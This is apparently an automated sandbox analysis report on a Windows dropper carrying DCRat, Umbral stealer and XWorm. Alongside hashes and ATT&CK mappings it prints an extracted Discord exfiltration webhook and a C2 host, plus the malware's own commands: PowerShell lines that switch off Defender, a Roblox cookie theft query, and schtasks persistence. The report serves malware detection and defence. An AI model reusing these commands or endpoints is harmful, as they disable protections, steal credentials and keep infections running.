dcrat | aec009724ba208376f91cbfafd60db1e965f9016f17f14bfb3b074dde1f6ae28

Analysis

max time kernel
149s
max time network
117s
platform
windows10-2004_x64
resource
win10v2004-20240508-en
resource tags

arch:x64arch:x86image:win10v2004-20240508-enlocale:en-usos:windows10-2004-x64system
submitted
28-05-2024 07:44

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General

Target

3969991942bb5b6130977411ae258ab8.exe
Size

19.8MB
MD5

3969991942bb5b6130977411ae258ab8
SHA1

c391e670488d73dc79c2acfab1e845d9c3e5227e
SHA256

aec009724ba208376f91cbfafd60db1e965f9016f17f14bfb3b074dde1f6ae28
SHA512

ce009d113cd85629cb744c0e30fecc9cb1f3bc353b546eab676604a3eec976c5f0dc60cb29b7f4841bb71bb7596128340d1b222408c9aeeb9f9671d1a1add00a
SSDEEP

393216:O581WtclJGQ9GnlC58mn3yJQjNKlgtcTuOYTmWYlY5nGPEy+tj7NJX:OeWgdGnlCqm3vKCTmpY5Py+r

Score

10^/10

dcrat umbral xworm execution infostealer rat spyware stealer trojan

Malware Config

Extracted

Family

umbral

https://discord.com/api/webhooks/1221847080373584144/7stbODqa-C2IH_V1s7-AaD6fECqR68YLov_s341xewFGvFGlgl7fRFcAsV3CtRNlSgzQ

Extracted

Family

xworm

127.0.0.1:30683

operating-niger.gl.at.ply.gg:30683:30683

Attributes

Install_directory
%AppData%
install_file
XClient.exe

Signatures

DcRat
DarkCrystal(DC) is a new .NET RAT active since June 2019 capable of loading additional plugins.
rat infostealer dcrat

Detect Umbral payload 2 IoCs

resource	yara_rule
behavioral2/memory/4572-29-0x0000027C1ABA0000-0x0000027C1ABE0000-memory.dmp	family_umbral
behavioral2/files/0x000700000002340d-27.dat	family_umbral

Detect Xworm Payload 2 IoCs

resource	yara_rule
behavioral2/files/0x0008000000023414-67.dat	family_xworm
behavioral2/memory/4700-71-0x0000000000A10000-0x0000000000A26000-memory.dmp	family_xworm

Process spawned unexpected child process 9 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

description	pid	pid_target	Process	procid_target
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	3176	4768	schtasks.exe	92
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	4328	4768	schtasks.exe	92
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	4704	4768	schtasks.exe	92
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	2264	4768	schtasks.exe	92
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	4616	4768	schtasks.exe	92
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	4420	4768	schtasks.exe	92
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	3624	4768	schtasks.exe	92
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	2452	4768	schtasks.exe	92
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	2948	4768	schtasks.exe	92

Umbral
Umbral stealer is an opensource moduler stealer written in C#.
stealer umbral
Xworm
Xworm is a remote access trojan written in C#.
trojan rat xworm

DCRat payload 3 IoCs

Detects payload of DCRat, commonly dropped by NSIS installers.

rat

resource	yara_rule
behavioral2/files/0x000700000002340c-17.dat	dcrat
behavioral2/files/0x0007000000023410-88.dat	dcrat
behavioral2/memory/2140-90-0x0000000000030000-0x0000000000106000-memory.dmp	dcrat

Command and Scripting Interpreter: PowerShell 1 TTPs 5 IoCs

Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

execution

PowerShell

T1059.001

pid	Process
4468	powershell.exe
1220	powershell.exe
1396	powershell.exe
2092	powershell.exe
2692	powershell.exe

Drops file in Drivers directory 1 IoCs

description	ioc	Process
File opened for modification	C:\Windows\System32\drivers\etc\hosts	Umbral.exe

Checks computer location settings 2 TTPs 6 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-4124900551-4068476067-3491212533-1000\Control Panel\International\Geo\Nation	LoaderMas.exe
Key value queried	\REGISTRY\USER\S-1-5-21-4124900551-4068476067-3491212533-1000\Control Panel\International\Geo\Nation	3969991942bb5b6130977411ae258ab8.exe
Key value queried	\REGISTRY\USER\S-1-5-21-4124900551-4068476067-3491212533-1000\Control Panel\International\Geo\Nation	t.bat
Key value queried	\REGISTRY\USER\S-1-5-21-4124900551-4068476067-3491212533-1000\Control Panel\International\Geo\Nation	Nursultan (17).exe
Key value queried	\REGISTRY\USER\S-1-5-21-4124900551-4068476067-3491212533-1000\Control Panel\International\Geo\Nation	WScript.exe
Key value queried	\REGISTRY\USER\S-1-5-21-4124900551-4068476067-3491212533-1000\Control Panel\International\Geo\Nation	Chainprovider.exe

Drops startup file 2 IoCs

description	ioc	Process
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\XClient.lnk	LoaderMas.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\XClient.lnk	LoaderMas.exe

Executes dropped EXE 7 IoCs

pid	Process
516	Nursultan (17).exe
3728	t.bat
4572	Umbral.exe
1008	Nursultan.exe
4700	LoaderMas.exe
2140	Chainprovider.exe
4176	fontdrvhost.exe

Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001

Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs

Web Service

T1102

flow	ioc
26	discord.com
25	discord.com

Looks up external IP address via web service 2 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
10	ip-api.com
22	ip-api.com

Drops file in Windows directory 2 IoCs

description	ioc	Process
File created	C:\Windows\addins\StartMenuExperienceHost.exe	Chainprovider.exe
File created	C:\Windows\addins\55b276f4edf653	Chainprovider.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Creates scheduled task(s) 1 TTPs 9 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence

Scheduled Task/Job

T1053

pid	Process
3624	schtasks.exe
3176	schtasks.exe
2264	schtasks.exe
4616	schtasks.exe
4420	schtasks.exe
2452	schtasks.exe
2948	schtasks.exe
4328	schtasks.exe
4704	schtasks.exe

Detects videocard installed 1 TTPs 1 IoCs

Uses WMIC.exe to determine videocard installed.

System Information Discovery

T1082

pid	Process
3800	wmic.exe

Modifies registry class 2 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-4124900551-4068476067-3491212533-1000_Classes\Local Settings	t.bat
Key created	\REGISTRY\USER\S-1-5-21-4124900551-4068476067-3491212533-1000_Classes\Local Settings	Chainprovider.exe

Runs ping.exe 1 TTPs 1 IoCs

Remote System Discovery

T1018

pid	Process
2168	PING.EXE

Suspicious behavior: EnumeratesProcesses 35 IoCs

pid	Process
4572	Umbral.exe
4468	powershell.exe
4468	powershell.exe
1240	powershell.exe
1240	powershell.exe
2140	Chainprovider.exe
2140	Chainprovider.exe
2140	Chainprovider.exe
1328	powershell.exe
1328	powershell.exe
1008	Nursultan.exe
1008	Nursultan.exe
1328	powershell.exe
5096	powershell.exe
5096	powershell.exe
5096	powershell.exe
1220	powershell.exe
1220	powershell.exe
1220	powershell.exe
1396	powershell.exe
1396	powershell.exe
1396	powershell.exe
2092	powershell.exe
2092	powershell.exe
2092	powershell.exe
2692	powershell.exe
2692	powershell.exe
2692	powershell.exe
4884	powershell.exe
4884	powershell.exe
4884	powershell.exe
4700	LoaderMas.exe
4700	LoaderMas.exe
4176	fontdrvhost.exe
4176	fontdrvhost.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	4572	Umbral.exe
Token: SeIncreaseQuotaPrivilege	1836	wmic.exe
Token: SeSecurityPrivilege	1836	wmic.exe
Token: SeTakeOwnershipPrivilege	1836	wmic.exe
Token: SeLoadDriverPrivilege	1836	wmic.exe
Token: SeSystemProfilePrivilege	1836	wmic.exe
Token: SeSystemtimePrivilege	1836	wmic.exe
Token: SeProfSingleProcessPrivilege	1836	wmic.exe
Token: SeIncBasePriorityPrivilege	1836	wmic.exe
Token: SeCreatePagefilePrivilege	1836	wmic.exe
Token: SeBackupPrivilege	1836	wmic.exe
Token: SeRestorePrivilege	1836	wmic.exe
Token: SeShutdownPrivilege	1836	wmic.exe
Token: SeDebugPrivilege	1836	wmic.exe
Token: SeSystemEnvironmentPrivilege	1836	wmic.exe
Token: SeRemoteShutdownPrivilege	1836	wmic.exe
Token: SeUndockPrivilege	1836	wmic.exe
Token: SeManageVolumePrivilege	1836	wmic.exe
Token: 33	1836	wmic.exe
Token: 34	1836	wmic.exe
Token: 35	1836	wmic.exe
Token: 36	1836	wmic.exe
Token: SeIncreaseQuotaPrivilege	1836	wmic.exe
Token: SeSecurityPrivilege	1836	wmic.exe
Token: SeTakeOwnershipPrivilege	1836	wmic.exe
Token: SeLoadDriverPrivilege	1836	wmic.exe
Token: SeSystemProfilePrivilege	1836	wmic.exe
Token: SeSystemtimePrivilege	1836	wmic.exe
Token: SeProfSingleProcessPrivilege	1836	wmic.exe
Token: SeIncBasePriorityPrivilege	1836	wmic.exe
Token: SeCreatePagefilePrivilege	1836	wmic.exe
Token: SeBackupPrivilege	1836	wmic.exe
Token: SeRestorePrivilege	1836	wmic.exe
Token: SeShutdownPrivilege	1836	wmic.exe
Token: SeDebugPrivilege	1836	wmic.exe
Token: SeSystemEnvironmentPrivilege	1836	wmic.exe
Token: SeRemoteShutdownPrivilege	1836	wmic.exe
Token: SeUndockPrivilege	1836	wmic.exe
Token: SeManageVolumePrivilege	1836	wmic.exe
Token: 33	1836	wmic.exe
Token: 34	1836	wmic.exe
Token: 35	1836	wmic.exe
Token: 36	1836	wmic.exe
Token: SeDebugPrivilege	4468	powershell.exe
Token: SeDebugPrivilege	4700	LoaderMas.exe
Token: SeDebugPrivilege	1240	powershell.exe
Token: SeDebugPrivilege	2140	Chainprovider.exe
Token: SeDebugPrivilege	1328	powershell.exe
Token: SeDebugPrivilege	5096	powershell.exe
Token: SeDebugPrivilege	1220	powershell.exe
Token: SeDebugPrivilege	1396	powershell.exe
Token: SeDebugPrivilege	2092	powershell.exe
Token: SeIncreaseQuotaPrivilege	4904	wmic.exe
Token: SeSecurityPrivilege	4904	wmic.exe
Token: SeTakeOwnershipPrivilege	4904	wmic.exe
Token: SeLoadDriverPrivilege	4904	wmic.exe
Token: SeSystemProfilePrivilege	4904	wmic.exe
Token: SeSystemtimePrivilege	4904	wmic.exe
Token: SeProfSingleProcessPrivilege	4904	wmic.exe
Token: SeIncBasePriorityPrivilege	4904	wmic.exe
Token: SeCreatePagefilePrivilege	4904	wmic.exe
Token: SeBackupPrivilege	4904	wmic.exe
Token: SeRestorePrivilege	4904	wmic.exe
Token: SeShutdownPrivilege	4904	wmic.exe

Suspicious use of SetWindowsHookEx 1 IoCs

pid	Process
4700	LoaderMas.exe

Suspicious use of WriteProcessMemory 59 IoCs

description	pid	Process	procid_target
PID 2088 wrote to memory of 516	2088	3969991942bb5b6130977411ae258ab8.exe	85
PID 2088 wrote to memory of 516	2088	3969991942bb5b6130977411ae258ab8.exe	85
PID 2088 wrote to memory of 3728	2088	3969991942bb5b6130977411ae258ab8.exe	86
PID 2088 wrote to memory of 3728	2088	3969991942bb5b6130977411ae258ab8.exe	86
PID 2088 wrote to memory of 3728	2088	3969991942bb5b6130977411ae258ab8.exe	86
PID 2088 wrote to memory of 4572	2088	3969991942bb5b6130977411ae258ab8.exe	88
PID 2088 wrote to memory of 4572	2088	3969991942bb5b6130977411ae258ab8.exe	88
PID 3728 wrote to memory of 2440	3728	t.bat	89
PID 3728 wrote to memory of 2440	3728	t.bat	89
PID 3728 wrote to memory of 2440	3728	t.bat	89
PID 4572 wrote to memory of 1836	4572	Umbral.exe	90
PID 4572 wrote to memory of 1836	4572	Umbral.exe	90
PID 4572 wrote to memory of 4308	4572	Umbral.exe	93
PID 4572 wrote to memory of 4308	4572	Umbral.exe	93
PID 4572 wrote to memory of 4468	4572	Umbral.exe	95
PID 4572 wrote to memory of 4468	4572	Umbral.exe	95
PID 516 wrote to memory of 1008	516	Nursultan (17).exe	97
PID 516 wrote to memory of 1008	516	Nursultan (17).exe	97
PID 516 wrote to memory of 4700	516	Nursultan (17).exe	99
PID 516 wrote to memory of 4700	516	Nursultan (17).exe	99
PID 4572 wrote to memory of 1240	4572	Umbral.exe	128
PID 4572 wrote to memory of 1240	4572	Umbral.exe	128
PID 2440 wrote to memory of 2476	2440	WScript.exe	102
PID 2440 wrote to memory of 2476	2440	WScript.exe	102
PID 2440 wrote to memory of 2476	2440	WScript.exe	102
PID 2476 wrote to memory of 2140	2476	cmd.exe	104
PID 2476 wrote to memory of 2140	2476	cmd.exe	104
PID 4572 wrote to memory of 1328	4572	Umbral.exe	108
PID 4572 wrote to memory of 1328	4572	Umbral.exe	108
PID 2140 wrote to memory of 1868	2140	Chainprovider.exe	116
PID 2140 wrote to memory of 1868	2140	Chainprovider.exe	116
PID 1868 wrote to memory of 3696	1868	cmd.exe	118
PID 1868 wrote to memory of 3696	1868	cmd.exe	118
PID 4572 wrote to memory of 5096	4572	Umbral.exe	119
PID 4572 wrote to memory of 5096	4572	Umbral.exe	119
PID 4700 wrote to memory of 1220	4700	LoaderMas.exe	121
PID 4700 wrote to memory of 1220	4700	LoaderMas.exe	121
PID 4700 wrote to memory of 1396	4700	LoaderMas.exe	125
PID 4700 wrote to memory of 1396	4700	LoaderMas.exe	125
PID 4700 wrote to memory of 2092	4700	LoaderMas.exe	127
PID 4700 wrote to memory of 2092	4700	LoaderMas.exe	127
PID 4572 wrote to memory of 4904	4572	Umbral.exe	129
PID 4572 wrote to memory of 4904	4572	Umbral.exe	129
PID 4700 wrote to memory of 2692	4700	LoaderMas.exe	131
PID 4700 wrote to memory of 2692	4700	LoaderMas.exe	131
PID 4572 wrote to memory of 3624	4572	Umbral.exe	133
PID 4572 wrote to memory of 3624	4572	Umbral.exe	133
PID 4572 wrote to memory of 2572	4572	Umbral.exe	135
PID 4572 wrote to memory of 2572	4572	Umbral.exe	135
PID 4572 wrote to memory of 4884	4572	Umbral.exe	138
PID 4572 wrote to memory of 4884	4572	Umbral.exe	138
PID 4572 wrote to memory of 3800	4572	Umbral.exe	140
PID 4572 wrote to memory of 3800	4572	Umbral.exe	140
PID 4572 wrote to memory of 3940	4572	Umbral.exe	142
PID 4572 wrote to memory of 3940	4572	Umbral.exe	142
PID 3940 wrote to memory of 2168	3940	cmd.exe	144
PID 3940 wrote to memory of 2168	3940	cmd.exe	144
PID 1868 wrote to memory of 4176	1868	cmd.exe	145
PID 1868 wrote to memory of 4176	1868	cmd.exe	145

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

Views/modifies file attributes 1 TTPs 1 IoCs

evasion

Hidden Files and Directories

T1564.001

pid	Process
4308	attrib.exe

C:\Users\Admin\AppData\Local\Temp\3969991942bb5b6130977411ae258ab8.exe
"C:\Users\Admin\AppData\Local\Temp\3969991942bb5b6130977411ae258ab8.exe"
1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:2088
- C:\Users\Admin\AppData\Roaming\Nursultan (17).exe
  "C:\Users\Admin\AppData\Roaming\Nursultan (17).exe"
  2⤵
  - Checks computer location settings
  - Executes dropped EXE
  - Suspicious use of WriteProcessMemory
  PID:516
- - C:\Users\Admin\AppData\Roaming\Nursultan.exe
    "C:\Users\Admin\AppData\Roaming\Nursultan.exe"
    3⤵
    - Executes dropped EXE
    - Suspicious behavior: EnumeratesProcesses
    PID:1008
- - C:\Users\Admin\AppData\Roaming\LoaderMas.exe
    "C:\Users\Admin\AppData\Roaming\LoaderMas.exe"
    3⤵
    - Checks computer location settings
    - Drops startup file
    - Executes dropped EXE
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of SetWindowsHookEx
    - Suspicious use of WriteProcessMemory
    PID:4700
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Roaming\LoaderMas.exe'
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:1220
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess 'LoaderMas.exe'
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:1396
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Roaming\XClient.exe'
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:2092
    - - C:\Windows\System32\Conhost.exe
        
        \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
        5⤵
        
        PID:1240
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess 'XClient.exe'
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      PID:2692
- C:\Users\Admin\AppData\Roaming\t.bat
  "C:\Users\Admin\AppData\Roaming\t.bat"
  2⤵
  - Checks computer location settings
  - Executes dropped EXE
  - Modifies registry class
  - Suspicious use of WriteProcessMemory
  PID:3728
- - C:\Windows\SysWOW64\WScript.exe
    "C:\Windows\System32\WScript.exe" "C:\perfdhcpSvc\LUps3wjkA6jhdk7xRy8J55z2u.vbe"
    3⤵
    - Checks computer location settings
    - Suspicious use of WriteProcessMemory
    PID:2440
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c ""C:\perfdhcpSvc\mStUjP0ksX5N.bat" "
      4⤵
      Suspicious use of WriteProcessMemory
      PID:2476
    - - C:\perfdhcpSvc\Chainprovider.exe
        
        "C:\perfdhcpSvc\Chainprovider.exe"
        5⤵
        Checks computer location settings
        Executes dropped EXE
        Drops file in Windows directory
        Modifies registry class
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        Suspicious use of WriteProcessMemory
        
        PID:2140
      - C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /C "C:\Users\Admin\AppData\Local\Temp\Fn6r3s7Cpa.bat"
        6⤵
        Suspicious use of WriteProcessMemory
        
        PID:1868
        
        C:\Windows\system32\w32tm.exe
        
        w32tm /stripchart /computer:localhost /period:5 /dataonly /samples:2
        7⤵
        
        PID:3696
        
        C:\Recovery\WindowsRE\fontdrvhost.exe
        
        "C:\Recovery\WindowsRE\fontdrvhost.exe"
        7⤵
        Executes dropped EXE
        Suspicious behavior: EnumeratesProcesses
        
        PID:4176
- C:\Users\Admin\AppData\Roaming\Umbral.exe
  "C:\Users\Admin\AppData\Roaming\Umbral.exe"
  2⤵
  - Drops file in Drivers directory
  - Executes dropped EXE
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:4572
- - C:\Windows\System32\Wbem\wmic.exe
    "wmic.exe" csproduct get uuid
    3⤵
    - Suspicious use of AdjustPrivilegeToken
    PID:1836
- - C:\Windows\SYSTEM32\attrib.exe
    "attrib.exe" +h +s "C:\Users\Admin\AppData\Roaming\Umbral.exe"
    3⤵
    - Views/modifies file attributes
    PID:4308
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "powershell.exe" Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Roaming\Umbral.exe'
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:4468
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "powershell.exe" Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 2
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:1240
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "powershell.exe" Get-ItemPropertyValue -Path HKCU:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:1328
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "powershell.exe" Get-ItemPropertyValue -Path HKLN:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:5096
- - C:\Windows\System32\Wbem\wmic.exe
    "wmic.exe" os get Caption
    3⤵
    - Suspicious use of AdjustPrivilegeToken
    PID:4904
- - C:\Windows\System32\Wbem\wmic.exe
    "wmic.exe" computersystem get totalphysicalmemory
    3⤵
    PID:3624
- - C:\Windows\System32\Wbem\wmic.exe
    "wmic.exe" csproduct get uuid
    3⤵
    PID:2572
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "powershell.exe" Get-ItemPropertyValue -Path 'HKLM:System\CurrentControlSet\Control\Session Manager\Environment' -Name PROCESSOR_IDENTIFIER
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    PID:4884
- - C:\Windows\System32\Wbem\wmic.exe
    "wmic" path win32_VideoController get name
    3⤵
    - Detects videocard installed
    PID:3800
- - C:\Windows\SYSTEM32\cmd.exe
    "cmd.exe" /c ping localhost && del /F /A h "C:\Users\Admin\AppData\Roaming\Umbral.exe" && pause
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:3940
  - - C:\Windows\system32\PING.EXE
      ping localhost
      4⤵
      Runs ping.exe
      PID:2168

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "fontdrvhostf" /sc MINUTE /mo 9 /tr "'C:\Recovery\WindowsRE\fontdrvhost.exe'" /f
1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
PID:3176

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "fontdrvhost" /sc ONLOGON /tr "'C:\Recovery\WindowsRE\fontdrvhost.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
PID:4328

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "fontdrvhostf" /sc MINUTE /mo 11 /tr "'C:\Recovery\WindowsRE\fontdrvhost.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
PID:2264

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "IdleI" /sc MINUTE /mo 14 /tr "'C:\Users\Admin\Cookies\Idle.exe'" /f
1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
PID:4704

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "Idle" /sc ONLOGON /tr "'C:\Users\Admin\Cookies\Idle.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
PID:4616

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "IdleI" /sc MINUTE /mo 13 /tr "'C:\Users\Admin\Cookies\Idle.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
PID:4420

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "StartMenuExperienceHostS" /sc MINUTE /mo 11 /tr "'C:\Windows\addins\StartMenuExperienceHost.exe'" /f
1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
PID:3624

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "StartMenuExperienceHost" /sc ONLOGON /tr "'C:\Windows\addins\StartMenuExperienceHost.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
PID:2452

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "StartMenuExperienceHostS" /sc MINUTE /mo 14 /tr "'C:\Windows\addins\StartMenuExperienceHost.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
PID:2948

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Scheduled Task/Job

T1053

Persistence

Scheduled Task/Job

T1053

Privilege Escalation

Scheduled Task/Job

T1053

Defense Evasion

Hide Artifacts

T1564

Hidden Files and Directories

T1564.001

Credential Access

Unsecured Credentials

T1552

Credentials In Files

T1552.001

Discovery

Query Registry

T1012

Remote System Discovery

T1018

System Information Discovery

T1082

Lateral Movement

Collection

Data from Local System

T1005

Command and Control

Web Service

T1102

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

Filesize
2KB

MD5
d85ba6ff808d9e5444a4b369f5bc2730

SHA1
31aa9d96590fff6981b315e0b391b575e4c0804a

SHA256
84739c608a73509419748e4e20e6cc4e1846056c3fe1929a8300d5a1a488202f

SHA512
8c414eb55b45212af385accc16d9d562adba2123583ce70d22b91161fe878683845512a78f04dedd4ea98ed9b174dbfa98cf696370598ad8e6fbd1e714f1f249

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
948B

MD5
28ef595a6cc9f47b8eccb22d4ed50d6c

SHA1
4335de707324b15eba79017938c3da2752d3eea5

SHA256
3abd14d4fe7b5697b2fa84993e7183f4fd2580be5b4e5150da15ddda5a9560b9

SHA512
687b7849faa62a4dabc240b573afa163f0cda9a80be61cebe28ef1461777744d73b465ac92d065093228068540846e79c899445057f5b906f9b9fa9868132208

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
1KB

MD5
45fb9d7dd2918093a914fef36f5eeb21

SHA1
62ada2131906247f7c8c0862f4fcd9750d1334de

SHA256
aea229b88071a17a2ac0ea96bdc4e6a632ddb9e5dabf09541117390f1c191869

SHA512
2dca3ed9b281b5e97b86d1a7e939986910723a147afe3906b7ca1a224b83a22a378fc10742db96947e7e797ad7244d78985e938ad5eba711989943ba913bd2de

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
944B

MD5
467fade4f0779a095c2e3d209cf1c1e4

SHA1
e1e4de835e409a047d24591041ca471a888d3610

SHA256
fc4a07e57bed647e3c51f60e74894233f965463fbb507a1ac3f49549f6b84b62

SHA512
55602b8ed182dbb36f3eb54a27887c43a1ea8eb1bef09f458775780d21edf92685c24bc7f9a5a5f20a510ddf417ddac7b98e58d703bf81cb79b57d74f74ea018

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
944B

MD5
9c740b7699e2363ac4ecdf496520ca35

SHA1
aa8691a8c56500d82c5fc8c35209bc6fe50ab1d9

SHA256
be96c91b62ba9ba7072ab89e66543328c9e4395150f9dbe8067332d94a3ecc61

SHA512
8885683f96353582eb871209e766e7eba1a72a2837ce27ea298b7b5b169621d1fa3fce25346b6bfd258b52642644234da9559d4e765a2023a5a5fc1f544cc7af

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
944B

MD5
a7cc007980e419d553568a106210549a

SHA1
c03099706b75071f36c3962fcc60a22f197711e0

SHA256
a5735921fc72189c8bf577f3911486cf031708dc8d6bc764fe3e593c0a053165

SHA512
b9aaf29403c467daef80a1ae87478afc33b78f4e1ca16189557011bb83cf9b3e29a0f85c69fa209c45201fb28baca47d31756eee07b79c6312c506e8370f7666

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
944B

MD5
28960b97082c0672f10c400a39d01a30

SHA1
9ecc5627915ef1ca2ce78019f575574fd0bd4e25

SHA256
c18f62539bb72644b8aa389a623770348e0fa19f1ef6ae6192e7d59975fcafa8

SHA512
74529db64b20232c33b69c40b0838dd4bcf9f5f20ab52c2734f54bcbdc60dc64c840ef022545e267008686ae1d524aa82ee44f6e26a07df9e0e363b0e7eb1985

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
944B

MD5
77d622bb1a5b250869a3238b9bc1402b

SHA1
d47f4003c2554b9dfc4c16f22460b331886b191b

SHA256
f97ff12a8abf4bf88bb6497bd2ac2da12628c8847a8ba5a9026bdbb76507cdfb

SHA512
d6789b5499f23c9035375a102271e17a8a82e57d6f5312fa24242e08a83efdeb8becb7622f55c4cf1b89c7d864b445df11f4d994cf7e2f87a900535bcca12fd9

Download Submit
C:\Users\Admin\AppData\Local\Temp\Fn6r3s7Cpa.bat

Filesize
202B

MD5
